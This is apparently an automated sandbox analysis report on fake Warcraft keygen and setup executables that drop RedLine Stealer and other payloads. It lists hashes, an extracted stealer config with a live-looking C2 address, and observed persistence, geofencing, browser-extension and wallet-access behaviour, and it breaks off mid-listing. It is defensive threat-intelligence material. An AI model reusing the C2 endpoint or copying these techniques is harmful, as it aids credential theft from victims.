Overview
overview
10Static
static
-warcraft-...I7.exe
windows7-x64
10-warcraft-...I7.exe
windows10-2004-x64
10.............exe
windows7-x64
7.............exe
windows10-2004-x64
10Warcracft ...up.exe
windows7-x64
7Warcracft ...up.exe
windows10-2004-x64
1Warcracft ...up.exe
windows7-x64
7Warcracft ...up.exe
windows10-2004-x64
7Analysis
-
max time kernel
1200s -
max time network
1202s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
24-10-2022 20:50
Static task
static1
Behavioral task
behavioral1
Sample
-warcraft-tft-keygen-F82Z5I7.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
-warcraft-tft-keygen-F82Z5I7.exe
Resource
win10v2004-20220901-en
Behavioral task
behavioral3
Sample
.............exe
Resource
win7-20220812-en
Behavioral task
behavioral4
Sample
.............exe
Resource
win10v2004-20220812-en
Behavioral task
behavioral5
Sample
Warcracft III Reforged/StarCraft-Setup.exe
Resource
win7-20220901-en
Behavioral task
behavioral6
Sample
Warcracft III Reforged/StarCraft-Setup.exe
Resource
win10v2004-20220812-en
Behavioral task
behavioral7
Sample
Warcracft III Reforged/Warcraft III Reforged™ Setup.exe
Resource
win7-20220812-en
Behavioral task
behavioral8
Sample
Warcracft III Reforged/Warcraft III Reforged™ Setup.exe
Resource
win10v2004-20220901-en
General
-
Target
-warcraft-tft-keygen-F82Z5I7.exe
-
Size
9.5MB
-
MD5
a959e89b1669d9657223e0708e60edca
-
SHA1
5e6113b81512f75f7138994a72e7d1152ebbab05
-
SHA256
fb3d286faee2cf6345988d4dd8c025688075e425a64c311439bed5d54461b0ab
-
SHA512
bb183aede190f9886d18ee002ffaae6e66e485a4f8d0123887e37b622c63685f35f7beda400ea4118770491e962a48d401e29e9ed64f584e30b02df367702aba
-
SSDEEP
196608:AW6aE7Lojzz2jXtfoZ08YKvF0n3mOr0ikl8UuYOOKDHoazb9keDC:OZ7Lszz2jX6ixKvF0n2Oo8wEDPkf
Malware Config
Extracted
redline
BirjNewAntibank2
79.137.197.136:23532
-
auth_value
a4e87a0b1505745bcd9e72d045f1ba5c
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 4 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\path55gta.exe family_redline C:\Users\Admin\AppData\Local\Temp\path55gta.exe family_redline behavioral2/memory/3712-225-0x00000000007C0000-0x000000000082C000-memory.dmp family_redline behavioral2/memory/4696-319-0x0000000000400000-0x0000000000428000-memory.dmp family_redline -
ACProtect 1.3x - 1.4x DLL software 1 IoCs
Detects file using ACProtect software.
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\nse750E.tmp\md5dll.dll acprotect -
Blocklisted process makes network request 1 IoCs
Processes:
rundll32.exeflow pid process 185 4824 rundll32.exe -
Downloads MZ/PE file
-
Executes dropped EXE 64 IoCs
Processes:
is-UM0VH.tmpPCCleaner.exePCCleaner.exe82dJZIn1O80q7ub68tFI.exeTfwkyr4mZm9Tlg8GKo8B.exe82dJZIn1O80q7ub68tFI.tmp6dXjBurXuE2A2HRzv4d.exeVeqib9DWAp2jG8JUN0.execlient.exeis-3PQJM.tmpLLFTOOL.exepath55gta.exec43rIfm3KgY4PiV.exeInfoInstall.exeg8soNXAr8ZzH9E8K.exeInstall.exeOLSqPmjUAse.exeis-1FTFD.tmpInstall.exepes58.exegtaV5path.exeAbTWeSE.exeRHBIkat.exed0681b3f-0baf-45d1-bc92-7e21ffffb485.exesetup.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exepid process 1928 is-UM0VH.tmp 952 PCCleaner.exe 2284 PCCleaner.exe 4808 82dJZIn1O80q7ub68tFI.exe 4908 Tfwkyr4mZm9Tlg8GKo8B.exe 3504 82dJZIn1O80q7ub68tFI.tmp 3524 6dXjBurXuE2A2HRzv4d.exe 4236 Veqib9DWAp2jG8JUN0.exe 764 client.exe 4260 is-3PQJM.tmp 2460 LLFTOOL.exe 3712 path55gta.exe 1788 c43rIfm3KgY4PiV.exe 3560 InfoInstall.exe 3288 g8soNXAr8ZzH9E8K.exe 4044 Install.exe 1656 OLSqPmjUAse.exe 3064 is-1FTFD.tmp 3680 Install.exe 4184 pes58.exe 1300 gtaV5path.exe 1340 AbTWeSE.exe 544 RHBIkat.exe 1696 d0681b3f-0baf-45d1-bc92-7e21ffffb485.exe 2568 setup.exe 1300 Snetchball.exe 2184 Snetchball.exe 3392 Snetchball.exe 3704 Snetchball.exe 624 Snetchball.exe 1472 Snetchball.exe 3648 Snetchball.exe 4272 Snetchball.exe 1864 Snetchball.exe 2572 Snetchball.exe 3668 Snetchball.exe 3660 Snetchball.exe 1416 Snetchball.exe 3712 Snetchball.exe 1876 Snetchball.exe 3048 Snetchball.exe 444 Snetchball.exe 4712 Snetchball.exe 2568 Snetchball.exe 4924 Snetchball.exe 804 Snetchball.exe 1092 Snetchball.exe 2408 Snetchball.exe 1124 Snetchball.exe 3936 Snetchball.exe 3760 Snetchball.exe 3436 Snetchball.exe 4844 Snetchball.exe 2812 Snetchball.exe 4456 Snetchball.exe 4840 Snetchball.exe 3592 Snetchball.exe 3896 Snetchball.exe 5008 Snetchball.exe 928 Snetchball.exe 408 Snetchball.exe 1692 Snetchball.exe 1872 Snetchball.exe 3496 Snetchball.exe -
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\nse750E.tmp\md5dll.dll upx -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
Install.exerundll32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion rundll32.exe -
Checks computer location settings 2 TTPs 64 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
InfoInstall.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exe6dXjBurXuE2A2HRzv4d.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exepes58.exeSnetchball.exeSnetchball.exeSnetchball.exeInstall.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation InfoInstall.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation 6dXjBurXuE2A2HRzv4d.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation pes58.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Install.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation Snetchball.exe -
Drops startup file 1 IoCs
Processes:
82dJZIn1O80q7ub68tFI.tmpdescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Proxy2Service.lnk 82dJZIn1O80q7ub68tFI.tmp -
Loads dropped DLL 64 IoCs
Processes:
is-UM0VH.tmpis-3PQJM.tmpc43rIfm3KgY4PiV.exeis-1FTFD.tmprundll32.exed0681b3f-0baf-45d1-bc92-7e21ffffb485.exesetup.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exeSnetchball.exepid process 1928 is-UM0VH.tmp 1928 is-UM0VH.tmp 1928 is-UM0VH.tmp 4260 is-3PQJM.tmp 1788 c43rIfm3KgY4PiV.exe 1788 c43rIfm3KgY4PiV.exe 1788 c43rIfm3KgY4PiV.exe 1788 c43rIfm3KgY4PiV.exe 1788 c43rIfm3KgY4PiV.exe 1788 c43rIfm3KgY4PiV.exe 3064 is-1FTFD.tmp 4824 rundll32.exe 1696 d0681b3f-0baf-45d1-bc92-7e21ffffb485.exe 1696 d0681b3f-0baf-45d1-bc92-7e21ffffb485.exe 1696 d0681b3f-0baf-45d1-bc92-7e21ffffb485.exe 2568 setup.exe 1300 Snetchball.exe 1300 Snetchball.exe 1300 Snetchball.exe 1300 Snetchball.exe 1300 Snetchball.exe 1300 Snetchball.exe 1300 Snetchball.exe 1300 Snetchball.exe 2184 Snetchball.exe 2184 Snetchball.exe 3392 Snetchball.exe 3392 Snetchball.exe 3704 Snetchball.exe 3704 Snetchball.exe 2184 Snetchball.exe 2184 Snetchball.exe 3392 Snetchball.exe 3392 Snetchball.exe 3704 Snetchball.exe 3704 Snetchball.exe 624 Snetchball.exe 624 Snetchball.exe 624 Snetchball.exe 624 Snetchball.exe 3392 Snetchball.exe 3392 Snetchball.exe 2184 Snetchball.exe 2184 Snetchball.exe 3704 Snetchball.exe 3704 Snetchball.exe 2184 Snetchball.exe 2184 Snetchball.exe 2184 Snetchball.exe 624 Snetchball.exe 624 Snetchball.exe 1472 Snetchball.exe 1472 Snetchball.exe 1472 Snetchball.exe 1472 Snetchball.exe 3648 Snetchball.exe 3648 Snetchball.exe 1472 Snetchball.exe 1472 Snetchball.exe 3648 Snetchball.exe 3648 Snetchball.exe 4272 Snetchball.exe 4272 Snetchball.exe 4272 Snetchball.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 5 IoCs
Processes:
c43rIfm3KgY4PiV.exesetup.exemsedge.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\InfoInstall = "C:\\Users\\Admin\\AppData\\Roaming\\InfoInstall\\InfoInstall.exe" c43rIfm3KgY4PiV.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows\CurrentVersion\Run setup.exe Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Snetchball = "C:\\Users\\Admin\\AppData\\Roaming\\Snetchball\\Snetchball.exe" setup.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows\CurrentVersion\Run msedge.exe Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Software\Microsoft\Windows\CurrentVersion\Run c43rIfm3KgY4PiV.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Drops Chrome extension 1 IoCs
Processes:
RHBIkat.exedescription ioc process File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\hipilpceecbhfpflneijogboalilnfjp\1.3.3_0\manifest.json RHBIkat.exe -
Drops desktop.ini file(s) 1 IoCs
Processes:
RHBIkat.exedescription ioc process File opened for modification C:\$RECYCLE.BIN\S-1-5-18\desktop.ini RHBIkat.exe -
AutoIT Executable 2 IoCs
AutoIT scripts compiled to PE executables.
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\a3U5KqMn\6dXjBurXuE2A2HRzv4d.exe autoit_exe C:\Users\Admin\AppData\Local\Temp\a3U5KqMn\6dXjBurXuE2A2HRzv4d.exe autoit_exe -
Drops file in System32 directory 23 IoCs
Processes:
RHBIkat.exepowershell.exeAbTWeSE.exeInstall.exepowershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04 RHBIkat.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache RHBIkat.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini AbTWeSE.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE RHBIkat.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B398B80134F72209547439DB21AB308D_A4CF52CCA82D7458083F7280801A3A04 RHBIkat.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content RHBIkat.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\A16C6C16D94F76E0808C087DFC657D99_A49E2928C282F3D7B74BA1083F81B152 RHBIkat.exe File created C:\Windows\system32\GroupPolicy\gpt.ini Install.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\A16C6C16D94F76E0808C087DFC657D99_A49E2928C282F3D7B74BA1083F81B152 RHBIkat.exe File created C:\Windows\system32\GroupPolicy\Machine\Registry.pol AbTWeSE.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData RHBIkat.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA RHBIkat.exe File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol RHBIkat.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies RHBIkat.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 RHBIkat.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft RHBIkat.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA RHBIkat.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA RHBIkat.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA RHBIkat.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 RHBIkat.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
gtaV5path.exedescription pid process target process PID 1300 set thread context of 4696 1300 gtaV5path.exe InstallUtil.exe -
Drops file in Program Files directory 64 IoCs
Processes:
is-UM0VH.tmpis-3PQJM.tmpRHBIkat.exe82dJZIn1O80q7ub68tFI.tmpis-1FTFD.tmpsetup.exeLLFTOOL.execlient.exedescription ioc process File created C:\Program Files (x86)\Syney\PCCleaner\lang\is-HLUA0.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\it-IT\is-HFA62.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\is-UNVH0.tmp is-UM0VH.tmp File opened for modification C:\Program Files (x86)\HDNGURU LLF Tool\unins000.dat is-3PQJM.tmp File created C:\Program Files (x86)\GRdwjAGSaHbU2\VJxgvze.xml RHBIkat.exe File created C:\Program Files (x86)\Syney\PCCleaner\is-PNNP0.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\ar-SA\is-29258.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Proxy2Service\unins000.dat 82dJZIn1O80q7ub68tFI.tmp File created C:\Program Files\Mozilla Firefox\browser\omni.ja.bak RHBIkat.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja.bak RHBIkat.exe File created C:\Program Files (x86)\PIAiHDebRQmhprJxqbR\xDouKjm.xml RHBIkat.exe File created C:\Program Files (x86)\VKMQhPdtjiUn\GqXkrXE.dll RHBIkat.exe File created C:\Program Files (x86)\Syney\PCCleaner\is-N00C6.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\is-K7RPB.tmp is-UM0VH.tmp File created C:\Program Files (x86)\HDNGURU LLF Tool\unins000.dat is-3PQJM.tmp File created C:\Program Files\Mozilla Firefox\browser\features\{DBDE73E2-BC5F-41AD-9E14-0105D4813C2F}.xpi RHBIkat.exe File created C:\Program Files (x86)\PIAiHDebRQmhprJxqbR\AqdSflV.dll RHBIkat.exe File created C:\Program Files (x86)\JlANBNwtXkrgC\lCgUJVG.dll RHBIkat.exe File created C:\Program Files (x86)\Syney\PCCleaner\lang\is-A8L59.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\el-GR\is-7A6FP.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\pt-BR\is-S2QEH.tmp is-UM0VH.tmp File opened for modification C:\Program Files\Mozilla Firefox\browser\omni.ja RHBIkat.exe File created C:\Program Files (x86)\yDqFPnIeU\lduYxlS.xml RHBIkat.exe File created C:\Program Files (x86)\JlANBNwtXkrgC\QWbimQK.xml RHBIkat.exe File created C:\Program Files (x86)\Syney\PCCleaner\lang\is-2MEJK.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\de-DE\is-BHQB7.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\ru-RU\is-FDGIG.tmp is-UM0VH.tmp File opened for modification C:\Program Files (x86)\Proxy2Service\client.exe 82dJZIn1O80q7ub68tFI.tmp File created C:\Program Files (x86)\PES Disk Master\is-5ATGV.tmp is-1FTFD.tmp File created C:\Program Files (x86)\Syney\PCCleaner\is-RCG4A.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\is-M2N2G.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\ar-SA\is-AEB35.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\el-GR\is-5H2SP.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\hr-BA\is-02R9P.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Proxy2Service\is-DVU2U.tmp 82dJZIn1O80q7ub68tFI.tmp File created C:\Program Files (x86)\PES Disk Master\unins000.dat is-1FTFD.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\nl-NL\is-UV292.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\is-IQBFK.tmp is-UM0VH.tmp File opened for modification C:\Program Files (x86)\Microsoft\Edge\Application\SetupMetrics\20221024215308.pma setup.exe File created C:\Program Files (x86)\PES Disk Master\is-SJE5M.tmp is-1FTFD.tmp File created C:\Program Files (x86)\Syney\PCCleaner\is-IGKNN.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\es-ES\is-0U94H.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\pt-BR\is-NSRN5.tmp is-UM0VH.tmp File created C:\Program Files (x86)\HDNGURU LLF Tool\is-3UG0C.tmp is-3PQJM.tmp File opened for modification C:\Program Files (x86)\HDNGURU LLF Tool\LLFTOOL.exe is-3PQJM.tmp File created C:\Program Files (x86)\Syney\PCCleaner\is-QEP38.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\hu-HU\is-CPVRJ.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\tr-TR\is-FU70P.tmp is-UM0VH.tmp File opened for modification C:\Program Files (x86)\Proxy2Service\unins000.dat 82dJZIn1O80q7ub68tFI.tmp File opened for modification C:\Program Files (x86)\PES Disk Master\pes58.exe is-1FTFD.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\is-OLBP5.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\is-FKAT0.tmp is-UM0VH.tmp File created C:\Program Files (x86)\Syney\PCCleaner\lang\is-E7JF4.tmp is-UM0VH.tmp File created C:\Program Files (x86)\yDqFPnIeU\vWWVJE.dll RHBIkat.exe File opened for modification C:\Program Files\Mozilla Firefox\browser\features\{DBDE73E2-BC5F-41AD-9E14-0105D4813C2F}.xpi RHBIkat.exe File created C:\Program Files (x86)\Syney\PCCleaner\lang\is-KM898.tmp is-UM0VH.tmp File created C:\Program Files 